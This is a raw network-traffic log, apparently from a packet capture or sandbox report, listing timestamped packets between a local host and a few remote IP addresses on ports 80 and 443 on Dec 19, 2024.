Dec 19, 2024 03:09:46.908427000 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.908598900 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.908695936 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.908727884 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.908826113 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.908941031 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.908968925 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.909071922 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.909145117 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.909218073 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.910900116 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:46.953001022 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:46.953071117 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:46.973624945 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:46.973714113 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:46.973917961 CET	80	49920	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:46.974390030 CET	49920	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:46.981925964 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:47.017818928 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.017970085 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:47.018011093 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.018039942 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.018121958 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:47.019404888 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.019486904 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.019531012 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:47.019582033 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.019678116 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.020844936 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.021049023 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.021138906 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.021223068 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.022664070 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.022787094 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.022908926 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.023068905 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.023099899 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.023415089 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.023551941 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.025423050 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:47.030766010 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.030812979 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.030848980 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:47.030903101 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:47.030939102 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.030967951 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.031044960 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.031073093 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.031121016 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:47.031261921 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.031290054 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.031441927 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.031474113 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.031533003 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:47.031619072 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.031646013 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.031693935 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.031721115 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.031763077 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:47.031800985 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.031949997 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.031979084 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.032006025 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.032032967 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.032082081 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.032109976 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.032140017 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.032205105 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.032325983 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.032352924 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.032402992 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.032429934 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.032457113 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.032501936 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.032530069 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.032594919 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.032622099 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.032733917 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.032776117 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.032808065 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.033025026 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.033052921 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.033080101 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.033108950 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.033157110 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.033185005 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.033217907 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.033245087 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.072777987 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.101473093 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:47.137626886 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.137700081 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.137727976 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.137761116 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.137837887 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.137957096 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.139211893 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.139239073 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.139352083 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.139739990 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:47.139878988 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:47.145096064 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.145193100 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.145220995 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.145252943 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.145302057 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.145329952 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.145476103 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.145544052 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.145761013 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.145788908 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.145838022 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.145864964 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.145909071 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.146051884 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.146080017 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.146110058 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.146158934 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.146186113 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.146217108 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.146297932 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.146326065 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.146353006 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.146399975 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.146428108 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.146519899 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.146547079 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.150547981 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.150752068 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.150779963 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.150927067 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.150954962 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.150986910 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.151094913 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.151179075 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.151206970 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.151252985 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.151279926 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.151396990 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.151424885 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.151479006 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.151506901 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.151556015 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.151582956 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.151814938 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.151925087 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.152062893 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.152112961 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.152180910 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.152230024 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.152297020 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.152384996 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.152411938 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.152441025 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.152472019 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.152869940 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:47.153012991 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:47.259438992 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.259469986 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.259521961 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.259550095 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.259618998 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.259648085 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.259696960 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.259723902 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.259774923 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.259802103 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.259876966 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.259903908 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.259952068 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.259979010 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.260030985 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.260078907 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.260106087 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.260168076 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.260195971 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.260243893 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.260271072 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.260303020 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.260400057 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.260447025 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.260473967 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.260543108 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.260570049 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.260617971 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.260644913 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.260694027 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.260720015 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.260808945 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.260957956 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.260984898 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.261012077 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.261059046 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.261085987 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.261132956 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.261159897 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.261208057 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.261236906 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.261282921 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.261317015 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.261429071 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.261456013 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.261503935 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.261531115 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.261591911 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.261617899 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.261744022 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.261801958 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.261827946 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.261859894 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.261964083 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.262666941 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:47.262878895 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:47.273194075 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.273221970 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.273253918 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.273303032 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.273350000 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.273376942 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.273587942 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.273616076 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.273648024 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.273829937 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.273858070 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.273926973 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.273953915 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.274427891 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.274476051 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.274502039 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.274791956 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.274818897 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.274851084 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.275060892 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.275088072 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.275158882 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.275185108 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.275413990 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.275440931 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.275577068 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.275773048 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.275820971 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.275846958 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.276017904 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.276066065 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.276148081 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.276175022 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.276331902 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.276357889 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.276390076 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.276734114 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.276782036 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.276808977 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.276922941 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.276973009 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.277003050 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.277029991 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.277297020 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.277324915 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.277354956 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.277631044 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.277729988 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.277756929 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.277916908 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.277944088 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.277996063 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.278043985 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.278070927 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.278568983 CET	49931	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:47.300057888 CET	443	49924	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:47.300309896 CET	443	49924	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:47.300400019 CET	49924	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:47.300735950 CET	49924	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:47.300757885 CET	443	49924	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:47.382466078 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.382621050 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.382651091 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.382679939 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.382728100 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.382756948 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.382783890 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.382814884 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.382863998 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.382894993 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.383049965 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.383143902 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.383171082 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.383222103 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.383249044 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.383275986 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.383358955 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.383423090 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.383497000 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.383523941 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.383572102 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.383599997 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.383647919 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.383677959 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.383786917 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.383815050 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.383846998 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.383872986 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.383922100 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.383954048 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.384033918 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.384062052 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.384111881 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.384140015 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.384208918 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.384237051 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.384268045 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.384373903 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.384401083 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.384432077 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.384480000 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.384526968 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.384553909 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.384583950 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.384716988 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.384779930 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.384807110 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.384854078 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.384881020 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.384912014 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.385013103 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.385040998 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.385170937 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.388473988 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.398802042 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.398941994 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.398969889 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.399466991 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.399494886 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.399543047 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.399569988 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.399600983 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.399884939 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.400176048 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.400203943 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.400235891 CET	80	49931	176.53.146.212	192.168.2.5
Dec 19, 2024 03:09:47.400333881 CET	80	49931	176.53.146.212	192.168.2.5
